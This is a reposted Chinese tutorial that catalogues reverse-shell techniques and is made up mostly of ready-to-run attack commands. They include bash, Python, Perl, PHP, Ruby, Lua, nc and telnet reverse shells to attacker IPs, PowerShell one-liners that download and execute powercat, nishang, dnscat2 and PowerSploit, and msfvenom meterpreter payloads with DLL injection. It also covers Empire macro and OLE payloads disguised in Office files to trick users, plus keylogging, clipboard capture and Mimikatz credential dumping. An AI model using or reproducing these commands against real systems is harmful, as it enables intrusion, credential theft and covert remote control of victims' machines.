转载:原创 三个大石头 系统安全运维 8月9日
本章目录:
有了菜刀的虚拟终端为啥还要反弹shell?
webshell管理工具中虚拟终端不是真正的shell(命令解析器),通过客户端和服务器的webshell共同完成的用于执行命令的模块,当用户在提权时获取的管道是无法通过虚拟终端来使用。虚拟终端无法执行交互式命令、无法控制进程状态、无法补全命令等等,非常不利于提权操作以及横向移动,所以,必须反弹 shell(将目标机器的命令解析器反弹给攻击者或者测试人员,命令解析器的权限取决于WEB服务器的权限,一般情况下,其权限很低)。
目标机上反弹shell到攻击者的机器,攻击者需要监听nc
windows/linux反弹shell
1、bash反弹shell
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
2、Powershell反弹shell
2.1)Powershell介绍
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。我们可以将powershell看做是命令提示符cmd.exe的扩展。
优点:
① WIN7以上默认安装(以下没有)② Powershell脚本可以运行再内存中,不需要写入磁盘③ 可以远程加载Powershell脚本并执行④ 很多安全软件不能检测到Powershell的活动(系统自带)⑤ CMD.exe通常被阻止运行,Powershell不会 ⑥ 可以用来管理活动目录(AD)
各个系统中Powershell的版本如下:
操作系统 | PowerShell版本 | 是否可升级 |
---|---|---|
Window 7/Windows server 2008 | 2.0 | 可以升级3.0、4.0 |
Window 8/ Windows server 2012 | 3.0 | 可升级4.0 |
Window 8.1/ Windows server 2012 R2 | 4.0 | 升级5.0 5.1 |
可以在输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息,如下所示:
2.1.1. powershell策略
Get-ExecutionPolicy 查看当前环境执行脚本的策略restricted 不允许执行脚本remotesigned 可以执行本地脚本 但是从网上下载的脚本不能运行allsigned 对签名的脚本才能执行unrestricted 允许执行任意脚本 Set-ExecutionPolicy 设置脚本运行策略
2.1.2. Powershell攻击利用
1 | PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 绕过策略加载执行本地文件 |
参数说明
ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则;
WindowStyle Hidden :隐藏窗口;
NoLogo : 启动不显示版权标志的PowerShell;
NonInteractive (-Nonl) : 非交互模式,PowerShell不为用户提供交互的提示;
NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件;
Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
2.2、Powercat反弹TCP - shell
powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat.
项目地址:https://github.com/besimorhino/powercat
攻击者监听:(反向)
1 | Nc –lvnp 9999 |
目标机反弹CMD:
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd |
目标机执行下面的代码:(正向)
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999 -e cmd |
1 | 攻击机 nc 192.168.40.172 9999 |
2.3、nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。
导入Nishang模块
1 | Import-Module .\nishang.psm1 |
导入成功后,产看Nishang中模块
1 | Get-Command –Module nishang |
Nishang攻击模块有(只介绍部分):
Check-VM:检测目标机器是否为虚拟机
Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼
Copy-VSS:利用Volume Shaodow Copy复制sam文件
FireBuster FireLiStener:用作内网环境扫描
Keylogger:用作键盘记录
Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码
Get-PassHashes:获取系统密码hash值
ADD-persistence 用作持久化
ExetoText 作用exe转换为Text
2.3.1 基于TCP的Powershell交互式shell
在目标机上执行如下的代码:
1 | powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999 |
其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
Ø IPAddress 反向连接时设置的IP
Ø Port 正向连接时设置的端口,前面要写上-Bind参数
Ø Reverse 反向连接
Ø Bind 正向连接
反向连接:
1 | Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999 |
注意:可将nishang下载到攻击者本地,执行如下的代码(此时推荐使用python搭建简易WEB服务):
1 | powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.14/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1. 4 -port 6666 |
正向连接:
1 | Invoke-PowerShellTcp -Bind -Port 4444 |
2.3.2 基于UDP的Poershell交互式Shell
1 | powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399 |
或者执行如下的代码(需要导入NIshang的模块)
在攻击者的电脑上执行如下的命令:
1 | nc -lup 6005 |
上述测试是反向连接,那么正向连接的时候,在攻击者的电脑上运行的命令为:
1 | nc -nvu 192.168.1.24 4555 |
****2.3.****3 基于ICMP的Poershell交互式Shell**
需要借助于icmpsh_m.py文件,其用法如下:
1 | python icmpsh_m.py -h |
用法(攻击机器执行):
1 | ./icmpsh-m.py <source IP address> <destination IP address> |
在被攻击的机器上执行:
1 | Invoke-PowerShellIcmp -IPAddress <source IP address> |
2.3.4 基于HTTP/HTTPS的Poershell交互式Shell
1 | HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444HTTPS: Invoke-PoshRatHttps –IPAddess 192.168.1.4 –Port 4444 |
然后会生成一个powershell如下的命令
1 | ····IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’)) |
然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell
2.3.5 Mimikatz模块获取hash密码
目标机运行
1 | IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.40.128/Invoke-Mimikatz.ps1 ');Invoke-Mimikatz |
#运行完会直接显示hash,若是没有kb281977补丁,还可显示明文密码
*2.3.6 Porscan模块扫描端口
1 | IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.40.128/Invoke-Portscan.ps1 ');Invoke-Portscan -Hosts 192.168.40.1 -Ports 1-100 |
2.4、dnscat2 反弹DNS shell
dnscat2(https://github.com/iagox86/dnscat2 )是一个DNS隧道,旨在通过DNS协议创建加密的命令和控制(C&C)通道。dnscat2分为两部分:客户端和服务器。dnscat2客户端采用C语言编写,服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)
利用dnscat2 和 dnscat2-powershell实现反弹DNS shell:
Step 1 : 在linux系统中安装dnscat2(需要ruby环境),然后开始监听:
1 | ruby dnscat2.rb --dns "domain=pentest.com,host=192.168.1.32" --no-cache -e open |
Step 2:在目标主机上执行如下的代码:
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain pentest.com -DNSServer 192.168.1.32 |
Step 3: 接着就可以看到反弹过来的shell,输入session -i 1进入第一个会话,输入shell,然后再次输入session -i 2,会看到系统的CMD命令行!!
2.5、Empire 反弹shell
Empire(https://github.com/EmpireProject/Empire ) 基于powershell的后渗透攻击框架,可利用office 宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell,它的功能有点类似MSF。
注意:此工具疯狂报错,极难安装。
参考连接:https://blog.csdn.net/qq_41320638/article/details/107136821
**2.5.**1 安装Empire**
1 | Git clone https://github.com/EmpireProject/Empire |
启动Empire
设置监听器 选择渗透测试模块(设置参数àrun/execute) 产生payload
最后把payload在目标机上执行 反弹shell
******2.5.******2 利用office宏定义反弹shell**
**Step 1:**我们首先查看一下Empire的帮助信息:help
接着输入listeners设置监听器,后面跟上7中模式
选用http,然后execute
注意:可以通过set Name shuteer 来设置该监听器的名称
如果之前已经添加过监听器,后来添加的监听器要设置名字以及监听的端口
set Name listener_name set Host IP:port
Step 2:back退出当前环境,然后生成payload,使用usestager moudle_name,multi为通用模块,osx是MAC系统的模块,其余均为Windows系统的模块。
输入usestager windows/macro shuteer(监听器的名字) #生成payload
execute
产看生成的payload
生成/tmp/macro 攻击代码后,新建一个word 创建宏,注意:需要开启宏或者用户手动启用宏。开启宏设置:“文件”-“选项”-“信任中心”,选择“启用所有宏”。
然后产生的payload添加到测试文档的宏中。
Step 3:诱导用户去打开该测试文档,然后就可kali终端中有接收到的测试数据
进入反弹回来的会话中,使用interact命令连接主机,intetact DMEYHL1V(会话名字)
Shell whoami查看当前用户 shell +命令
Shell net user 获取系统用户
sysinfo获取系统信息
运行mimikatz,获取当前活动用户账号信息
获取当前进程的ID:getpid getuid pwd
输入creds可以自动过滤、整理出获取的用户密码(有密文和明文)
*2.5.3 利用office OLE对象插入bat文件反弹shell*
Step 1:要想设置launcher_bat木马,需要输入usestager windows/launcher_bat http(监听器的名称)
Step 2:将产生的bat文件直接复制到靶机上运行,就可以看到反弹的shell
获取系统运行的进程
为了增加迷惑性,可以将批处理文件插入到office文档中,现创建一个excel表格,在excel中“插入”-“对象”-“由文件创建” 处,插入launcher.bat文件,可更改文件名称和图标,进行伪装,当诱导目标点击该文件,执行后,即可成功反弹shell。
*2.5.4 Empire产生VBS木马反弹shell
usestager windows/launcher_vbs
execute
在靶机上运行该VBS脚本即可
注意:如果要生成基于VBS的Powershell代码,设置完listener和userstager之后,不用输入execute,直接输入back,然后输入Launcher powershell shuteer(监听器的名字)
2.5.5 信息收集
输入usemodule collection ,然后按TAB键查询完整的列表
2.5.5 .1 截屏
1 | (Empire: PDGNXFEK) > usemodule collection/screenshot(Empire: powershell/collection/screenshot) > execute |
2.5.5 .2 键盘记录
1 | Empire: PDGNXFEK) > usemodule collection/keylogger(Empire: powershell/collection/keylogger) > run |
就会在agent.log的同级目录中生成keystrokes.txt,打开该文件便可以看到记录的数据!
关闭键盘记录:
1 | BackJobsJobs kill JOB_name |
2.5.5 .3 剪贴板记录
1 | (Empire: PDGNXFEK) > usemodule collection/clipboard_monitor(Empire: powershell/collection/clipboard_monitor) > execute |
然后目标主机上复制一句话,停止方法如上所示。
2.5.5 .4 查看域共享文件
1 | FEK) > usemodule situational_awareness/network/powerview/share_finder(Empire: powershell/situational_awareness/network/powerview/share_finder) > execute |
注意:当前环境没有域,后面讲完域渗透之后可以测试
2.5.5 .5 目标主机信息(域环境)
1 | (Empire: PDGNXFEK) > usemodule situational_awareness/host/winenum(Empire: powershell/situational_awareness/host/winenum) > run |
或者使用如下模块:
1 | (Empire: PDGNXFEK) > usemodule situational_awareness/host/computerdetails*(Empire: powershell/situational_awareness/host/computerdetails) > run |
2.5.5 .6 ARP扫描
1 | (Empire: PDGNXFEK) > usemodule situational_awareness/network/arpscan(Empire: powershell/situational_awareness/network/arpscan) > |
然后需要设置扫描的范围:
1 | set Range 192.168.1.1-192.168.1.254 |
2.5.5 .7 DNS信息获取
1 | (Empire: PDGNXFEK) > set range 1usemodule situational_awareness/network/reverse_dns(Empire: powershell/situational_awareness/network/reverse_dns) > run |
或者使用
1 | (Empire: PDGNXFEK) > usemodule situational_awareness/host/dnsserver(Empire: powershell/situational_awareness/host/dnsserver) > run |
******2.5.******5 .8** 查找域控登录服务器IP
1 | (Empire: PDGNXFEK) > usemodule situational_awareness/network/powerview/user_hunter(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute |
******2.5.******5 .9** 本地管理组访问模块
1 | Empire: PDGNXFEK) > usemodule situational_awareness/network/powerview/find_localadmin_access(Empire: powershell/situational_awareness/network/powerview/find_localadmin_access) > run\ |
******2.5.******5 .10** 获取域控制器
1 | (Empire: PDGNXFEK) > usemodule susemodule situational_awareness/network/powerview/get_domain_controller(Empire: powershell/situational_awareness/network/powerview/get_domain_controller) > run |
2.6、PowerSploit**
PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell.
2.6.1 执行ShellCode反弹Meterpreter Shell
注意:此实验失败(看脸,有的机器行,有的不行)
Step 1:下载PowerSploit到本地,使用python搭建简易服务器(python -m SimpleHTTPServer 9889)
http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1
Step 2:MSF中选择reverse_tcp模块进行反弹
然后使用msfvenom命令生成powershell脚本木马
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=4444 -f powershell -o ./test |
将生成的test文件复制到python搭建的web服务器中,于是有:
**step 3:**在目标机上执行powershell下载脚本
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1') |
下载MSF产生的木马文件
1 | IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/test') |
最后运行木马文件:
1 | Invoke-Shellcode -Shellcode ($buf) -Force |
其中-shellcode()b表示执行恶意代码的函数,$buf是test文件中恶意代码
最后就能在MSF看到反弹的shell
****2.6.****2 DLL注入反弹shell**
使用模块的是Invoke-DllInjection.ps1,它是一个DLL注入的脚本
首先还是要下载脚本:
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ') |
然后在kali中生成一个DLL注入脚本
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=6667 -f dll -o ./pentest.dll |
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6667 -f dll -a x64 --platform windows -o ./test.dll |
接着将生成好的DLL文件复制python服务器中,于是有:
http://192.168.1.18:9889/pentest.dll
然后在目标机上下载还文件到C盘
在目标机上启动一个进程进行DLL注入,可以后续的注入更加隐蔽,使用如下的命令新建一个名为notepad.exe的隐蔽进程
1 | Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden |
1 | tasklist|findstr notepad.exe |
然后执行下面的代码:
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ');Invoke-DllInjection -ProcessID 1124 -Dll c:\pentest.dll |
最后在MSF能看到反弹的shell。
常见shell反弹方式(二)
今天继续写第二部分:
今日目录:
3、编程语言反弹shell
3.1、python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.101",1001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
1 | python 正向链接 攻击者主动链接 nc -nv 目标机ip 1025端口 |
3.2、perl
1 | perl -e 'use Socket;$i="192.168.40.1";$p=8999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'3.2 perl |
3.3 php
1 | php -r '$sock=fsockopen("192.168.40.1",8999);exec("/bin/sh -i <&3 >&3 2>&3");' |
3.4 java
1 | r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.40.1/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor() |
3.4 ruby
1 | ruby -rsocket -e 'f=TCPSocket.open("192.168.40.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
3.5. lua
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.40.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
4、Nc 反弹shell
1 | 有-e 模式:nc -e /bin/sh 192.168.40.1 1234 |
1 | 无-e 模式:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.1 1234 >/tmp/f(FIFO文件) |
5、SSL 反弹shell(加密)目标机反弹shell 攻击者监听端口 nc -lvnp 1234
1 | Hacker: |
6、Socat反弹shell
1 | VPS: socat TCP-LISTEN:12345 – |
7、不使用nc来反弹shell
不使用nc来反弹shell
1 | nc -nvlp 8080 |
1 | /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1 |
1 | mknod backpipe p && telnet 192.168.40.1 1234 0<backpipe | /bin/bash 1>backpipe |
1 | telnet 192.168.40.1 1234 | /bin/bash | telnet 192.168.40.1 2345 (需要在攻击者PC上监听两个端口:1234 2345,1234 输入命令, 2345 输出) |
8、telnet反弹shell
1 | (1)telnet vpsIP 端口1 | /bin/sh | telnet vpsIP 端口2(2)nc开两个终端,同时监听两个端口,一个端口用于输入命令,另一个端口用于显示结果。 |
上述的反弹shell的命令时需要在肉鸡中执行,借助于webshell的权限来执行。
攻击者需要执行的命令是:nc -lvvp 8080
9、注意
反弹回来的shell不是TTY模式,可以执行:python -c ‘import pty; pty.spawn(“/bin/bash”)’
www-data@me:/tmp$
www-data:当前用户
me:主机名
/tmp:当前工作目录
$:表示当前用户是一个普通用户
#:表示是root